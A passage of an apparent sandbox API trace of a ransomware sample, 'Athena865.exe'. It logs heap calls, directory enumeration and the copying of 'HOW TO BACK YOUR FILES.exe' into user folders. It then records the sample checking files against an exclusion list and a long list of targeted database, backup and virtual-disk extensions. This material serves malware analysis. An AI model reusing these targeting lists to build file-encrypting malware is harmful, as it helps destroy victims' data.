RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bbf8 | out: hHeap=0x4f0000) returned 1 [0051.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0051.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0051.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.335] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.335] CloseHandle (hObject=0x17c) returned 1 [0051.335] CloseHandle (hObject=0x154) returned 1 [0051.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.336] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce5dc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0051.336] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0051.336] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b4f2fa0, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0x8d916f90, ftLastAccessTime.dwHighDateTime=0x1d4ce19, ftLastWriteTime.dwLowDateTime=0x8d916f90, ftLastWriteTime.dwHighDateTime=0x1d4ce19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wJbyzOVnUZ9XR-P9FoKE", cAlternateFileName="WJBYZO~1")) returned 1 [0051.336] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.336] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2=".") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="..") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="windows") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="bootmgr") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="temp") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="pagefile.sys") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="boot") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="ids.txt") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="ntuser.dat") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="perflogs") returned 1 [0051.337] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="MSBuild") returned 1 [0051.337] lstrlenW (lpString="wJbyzOVnUZ9XR-P9FoKE") returned 20 [0051.337] lstrcpyW (in: lpString1=0x241e8b2, lpString2="wJbyzOVnUZ9XR-P9FoKE" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE") returned="wJbyzOVnUZ9XR-P9FoKE" [0051.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a478 [0051.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x528048 [0051.337] lstrcatW (in: lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="\\" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE\\") returned="wJbyzOVnUZ9XR-P9FoKE\\" [0051.337] lstrcatW (in: lpString1="wJbyzOVnUZ9XR-P9FoKE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe") returned="wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" [0051.337] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.339] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc0c960, ftCreationTime.dwHighDateTime=0x1d4d113, ftLastAccessTime.dwLowDateTime=0x3b581610, ftLastAccessTime.dwHighDateTime=0x1d4ca50, ftLastWriteTime.dwLowDateTime=0x3b581610, ftLastWriteTime.dwHighDateTime=0x1d4ca50, nFileSizeHigh=0x0, nFileSizeLow=0xee5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xdq36j18Lt7rY5n.wav", cAlternateFileName="XDQ36J~1.WAV")) returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2=".") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="..") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="windows") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="bootmgr") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="temp") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="pagefile.sys") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="boot") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="ids.txt") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="ntuser.dat") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="perflogs") returned 1 [0051.339] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2="MSBuild") returned 1 [0051.339] lstrlenW (lpString="Xdq36j18Lt7rY5n.wav") returned 19 [0051.339] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Xdq36j18Lt7rY5n.wav" | out: lpString1="Xdq36j18Lt7rY5n.wav") returned="Xdq36j18Lt7rY5n.wav" [0051.340] lstrlenW (lpString="Xdq36j18Lt7rY5n.wav") returned 19 [0051.340] lstrlenW (lpString="Athena865") returned 9 [0051.340] lstrcmpiW (lpString1="7rY5n.wav", lpString2="Athena865") returned -1 [0051.340] lstrlenW (lpString=".dll") returned 4 [0051.340] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2=".dll") returned 1 [0051.340] lstrlenW (lpString=".lnk") returned 4 [0051.340] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2=".lnk") returned 1 [0051.340] lstrlenW (lpString=".ini") returned 4 [0051.340] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2=".ini") returned 1 [0051.340] lstrlenW (lpString=".sys") returned 4 [0051.340] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav", lpString2=".sys") returned 1 [0051.340] lstrlenW (lpString="Xdq36j18Lt7rY5n.wav") returned 19 [0051.340] lstrlenW (lpString="bak") returned 3 [0051.340] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1 [0051.340] lstrlenW (lpString="ba_") returned 3 [0051.340] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1 [0051.340] lstrlenW (lpString="dbb") returned 3 [0051.340] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1 [0051.340] lstrlenW (lpString="vmdk") returned 4 [0051.340] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1 [0051.340] lstrlenW (lpString="rar") returned 3 [0051.340] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1 [0051.340] lstrlenW (lpString="zip") returned 3 [0051.340] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1 [0051.340] lstrlenW (lpString="tgz") returned 3 [0051.340] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1 [0051.340] lstrlenW (lpString="vbox") returned 4 [0051.340] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1 [0051.340] lstrlenW (lpString="vdi") returned 3 [0051.340] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1 [0051.340] lstrlenW (lpString="vhd") returned 3 [0051.340] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1 [0051.340] lstrlenW (lpString="vhdx") returned 4 [0051.341] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1 [0051.341] lstrlenW (lpString="avhd") returned 4 [0051.341] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1 [0051.341] lstrlenW (lpString="db") returned 2 [0051.341] lstrcmpiW (lpString1="av", lpString2="db") returned -1 [0051.341] lstrlenW (lpString="db2") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1 [0051.341] lstrlenW (lpString="db3") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1 [0051.341] lstrlenW (lpString="dbf") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1 [0051.341] lstrlenW (lpString="mdf") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1 [0051.341] lstrlenW (lpString="mdb") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1 [0051.341] lstrlenW (lpString="sql") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1 [0051.341] lstrlenW (lpString="sqlite") returned 6 [0051.341] lstrcmpiW (lpString1="5n.wav", lpString2="sqlite") returned -1 [0051.341] lstrlenW (lpString="sqlite3") returned 7 [0051.341] lstrcmpiW (lpString1="Y5n.wav", lpString2="sqlite3") returned 1 [0051.341] lstrlenW (lpString="sqlitedb") returned 8 [0051.341] lstrcmpiW (lpString1="rY5n.wav", lpString2="sqlitedb") returned -1 [0051.341] lstrlenW (lpString="xml") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1 [0051.341] lstrlenW (lpString="$er") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1 [0051.341] lstrlenW (lpString="4dd") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1 [0051.341] lstrlenW (lpString="4dl") returned 3 [0051.341] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1 [0051.341] lstrlenW (lpString="^^^") returned 3 [0051.342] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1 [0051.342] lstrlenW (lpString="abs") returned 3 [0051.342] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1 [0051.342] lstrlenW (lpString="abx") returned 3 [0051.342] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1 [0051.342] lstrlenW (lpString="accdb") returned 5 [0051.342] lstrcmpiW (lpString1="n.wav", lpString2="accdb") returned 1 [0051.342] lstrlenW (lpString="accdc") returned 5 [0051.342] lstrcmpiW (lpString1="n.wav", lpString2="accdc") returned 1 [0051.342] lstrlenW (lpString="accde") returned 5 [0051.342] lstrcmpiW (lpString1="n.wav", lpString2="accde") returned 1 [0051.342] lstrlenW (lpString="accdr") returned 5 [0051.342] lstrcmpiW (lpString1="n.wav", lpString2="accdr") returned 1 [0051.342] lstrlenW (lpString="accdt") returned 5 [0051.342] lstrcmpiW (lpString1="n.wav", lpString2="accdt") returned 1 [0051.342] lstrlenW (lpString="accdw") returned 5 [0051.342] lstrcmpiW (lpString1="n.wav", lpString2="accdw") returned 1 [0051.342] lstrlenW (lpString="accft") returned 5 [0051.342] lstrcmpiW (lpString1="n.wav", lpString2="accft") returned 1 [0051.342] lstrlenW (lpString="adb") returned 3 [0051.342] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1 [0051.342] lstrlenW (lpString="adb") returned 3 [0051.342] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1 [0051.342] lstrlenW (lpString="ade") returned 3 [0051.342] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1 [0051.342] lstrlenW (lpString="adf") returned 3 [0051.342] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1 [0051.342] lstrlenW (lpString="adn") returned 3 [0051.342] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1 [0051.343] lstrlenW (lpString="adp") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1 [0051.343] lstrlenW (lpString="alf") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1 [0051.343] lstrlenW (lpString="ask") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1 [0051.343] lstrlenW (lpString="btr") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1 [0051.343] lstrlenW (lpString="cat") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1 [0051.343] lstrlenW (lpString="cdb") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1 [0051.343] lstrlenW (lpString="ckp") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1 [0051.343] lstrlenW (lpString="cma") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1 [0051.343] lstrlenW (lpString="cpd") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1 [0051.343] lstrlenW (lpString="dacpac") returned 6 [0051.343] lstrcmpiW (lpString1="5n.wav", lpString2="dacpac") returned -1 [0051.343] lstrlenW (lpString="dad") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1 [0051.343] lstrlenW (lpString="dadiagrams") returned 10 [0051.343] lstrcmpiW (lpString1="t7rY5n.wav", lpString2="dadiagrams") returned 1 [0051.343] lstrlenW (lpString="daschema") returned 8 [0051.343] lstrcmpiW (lpString1="rY5n.wav", lpString2="daschema") returned 1 [0051.343] lstrlenW (lpString="db-journal") returned 10 [0051.343] lstrcmpiW (lpString1="t7rY5n.wav", lpString2="db-journal") returned 1 [0051.343] lstrlenW (lpString="db-shm") returned 6 [0051.343] lstrcmpiW (lpString1="5n.wav", lpString2="db-shm") returned -1 [0051.343] lstrlenW (lpString="db-wal") returned 6 [0051.343] lstrcmpiW (lpString1="5n.wav", lpString2="db-wal") returned -1 [0051.343] lstrlenW (lpString="dbc") returned 3 [0051.343] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1 [0051.344] lstrlenW (lpString="dbs") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1 [0051.344] lstrlenW (lpString="dbt") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1 [0051.344] lstrlenW (lpString="dbv") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1 [0051.344] lstrlenW (lpString="dbx") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1 [0051.344] lstrlenW (lpString="dcb") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1 [0051.344] lstrlenW (lpString="dct") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1 [0051.344] lstrlenW (lpString="dcx") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1 [0051.344] lstrlenW (lpString="ddl") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1 [0051.344] lstrlenW (lpString="dlis") returned 4 [0051.344] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1 [0051.344] lstrlenW (lpString="dp1") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1 [0051.344] lstrlenW (lpString="dqy") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1 [0051.344] lstrlenW (lpString="dsk") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1 [0051.344] lstrlenW (lpString="dsn") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1 [0051.344] lstrlenW (lpString="dtsx") returned 4 [0051.344] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1 [0051.344] lstrlenW (lpString="dxl") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1 [0051.344] lstrlenW (lpString="eco") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1 [0051.344] lstrlenW (lpString="ecx") returned 3 [0051.344] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1 [0051.344] lstrlenW (lpString="edb") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1 [0051.345] lstrlenW (lpString="epim") returned 4 [0051.345] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1 [0051.345] lstrlenW (lpString="fcd") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1 [0051.345] lstrlenW (lpString="fdb") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1 [0051.345] lstrlenW (lpString="fic") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1 [0051.345] lstrlenW (lpString="flexolibrary") returned 12 [0051.345] lstrcmpiW (lpString1="8Lt7rY5n.wav", lpString2="flexolibrary") returned -1 [0051.345] lstrlenW (lpString="fm5") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1 [0051.345] lstrlenW (lpString="fmp") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1 [0051.345] lstrlenW (lpString="fmp12") returned 5 [0051.345] lstrcmpiW (lpString1="n.wav", lpString2="fmp12") returned 1 [0051.345] lstrlenW (lpString="fmpsl") returned 5 [0051.345] lstrcmpiW (lpString1="n.wav", lpString2="fmpsl") returned 1 [0051.345] lstrlenW (lpString="fol") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1 [0051.345] lstrlenW (lpString="fp3") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1 [0051.345] lstrlenW (lpString="fp4") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1 [0051.345] lstrlenW (lpString="fp5") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1 [0051.345] lstrlenW (lpString="fp7") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1 [0051.345] lstrlenW (lpString="fpt") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1 [0051.345] lstrlenW (lpString="frm") returned 3 [0051.345] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1 [0051.345] lstrlenW (lpString="gdb") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1 [0051.346] lstrlenW (lpString="gdb") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1 [0051.346] lstrlenW (lpString="grdb") returned 4 [0051.346] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1 [0051.346] lstrlenW (lpString="gwi") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1 [0051.346] lstrlenW (lpString="hdb") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1 [0051.346] lstrlenW (lpString="his") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="his") returned 1 [0051.346] lstrlenW (lpString="ib") returned 2 [0051.346] lstrcmpiW (lpString1="av", lpString2="ib") returned -1 [0051.346] lstrlenW (lpString="idb") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1 [0051.346] lstrlenW (lpString="ihx") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1 [0051.346] lstrlenW (lpString="itdb") returned 4 [0051.346] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1 [0051.346] lstrlenW (lpString="itw") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1 [0051.346] lstrlenW (lpString="jet") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1 [0051.346] lstrlenW (lpString="jtx") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1 [0051.346] lstrlenW (lpString="kdb") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1 [0051.346] lstrlenW (lpString="kexi") returned 4 [0051.346] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1 [0051.346] lstrlenW (lpString="kexic") returned 5 [0051.346] lstrcmpiW (lpString1="n.wav", lpString2="kexic") returned 1 [0051.346] lstrlenW (lpString="kexis") returned 5 [0051.346] lstrcmpiW (lpString1="n.wav", lpString2="kexis") returned 1 [0051.346] lstrlenW (lpString="lgc") returned 3 [0051.346] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1 [0051.347] lstrlenW (lpString="lwx") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1 [0051.347] lstrlenW (lpString="maf") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1 [0051.347] lstrlenW (lpString="maq") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1 [0051.347] lstrlenW (lpString="mar") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1 [0051.347] lstrlenW (lpString="marshal") returned 7 [0051.347] lstrcmpiW (lpString1="Y5n.wav", lpString2="marshal") returned 1 [0051.347] lstrlenW (lpString="mas") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1 [0051.347] lstrlenW (lpString="mav") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1 [0051.347] lstrlenW (lpString="maw") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1 [0051.347] lstrlenW (lpString="mdbhtml") returned 7 [0051.347] lstrcmpiW (lpString1="Y5n.wav", lpString2="mdbhtml") returned 1 [0051.347] lstrlenW (lpString="mdn") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1 [0051.347] lstrlenW (lpString="mdt") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1 [0051.347] lstrlenW (lpString="mfd") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1 [0051.347] lstrlenW (lpString="mpd") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1 [0051.347] lstrlenW (lpString="mrg") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1 [0051.347] lstrlenW (lpString="mud") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1 [0051.347] lstrlenW (lpString="mwb") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1 [0051.347] lstrlenW (lpString="myd") returned 3 [0051.347] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1 [0051.347] lstrlenW (lpString="ndf") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1 [0051.348] lstrlenW (lpString="nnt") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1 [0051.348] lstrlenW (lpString="nrmlib") returned 6 [0051.348] lstrcmpiW (lpString1="5n.wav", lpString2="nrmlib") returned -1 [0051.348] lstrlenW (lpString="ns2") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1 [0051.348] lstrlenW (lpString="ns3") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1 [0051.348] lstrlenW (lpString="ns4") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1 [0051.348] lstrlenW (lpString="nsf") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1 [0051.348] lstrlenW (lpString="nv") returned 2 [0051.348] lstrcmpiW (lpString1="av", lpString2="nv") returned -1 [0051.348] lstrlenW (lpString="nv2") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1 [0051.348] lstrlenW (lpString="nwdb") returned 4 [0051.348] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1 [0051.348] lstrlenW (lpString="nyf") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1 [0051.348] lstrlenW (lpString="odb") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1 [0051.348] lstrlenW (lpString="odb") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1 [0051.348] lstrlenW (lpString="oqy") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1 [0051.348] lstrlenW (lpString="ora") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1 [0051.348] lstrlenW (lpString="orx") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1 [0051.348] lstrlenW (lpString="owc") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1 [0051.348] lstrlenW (lpString="p96") returned 3 [0051.348] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1 [0051.349] lstrlenW (lpString="p97") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1 [0051.349] lstrlenW (lpString="pan") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1 [0051.349] lstrlenW (lpString="pdb") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1 [0051.349] lstrlenW (lpString="pdm") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1 [0051.349] lstrlenW (lpString="pnz") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1 [0051.349] lstrlenW (lpString="qry") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1 [0051.349] lstrlenW (lpString="qvd") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1 [0051.349] lstrlenW (lpString="rbf") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1 [0051.349] lstrlenW (lpString="rctd") returned 4 [0051.349] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1 [0051.349] lstrlenW (lpString="rod") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1 [0051.349] lstrlenW (lpString="rodx") returned 4 [0051.349] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1 [0051.349] lstrlenW (lpString="rpd") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1 [0051.349] lstrlenW (lpString="rsd") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1 [0051.349] lstrlenW (lpString="sas7bdat") returned 8 [0051.349] lstrcmpiW (lpString1="rY5n.wav", lpString2="sas7bdat") returned -1 [0051.349] lstrlenW (lpString="sbf") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1 [0051.349] lstrlenW (lpString="scx") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1 [0051.349] lstrlenW (lpString="sdb") returned 3 [0051.349] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1 [0051.349] lstrlenW (lpString="sdc") returned 3 [0051.350] lstrcmpiW 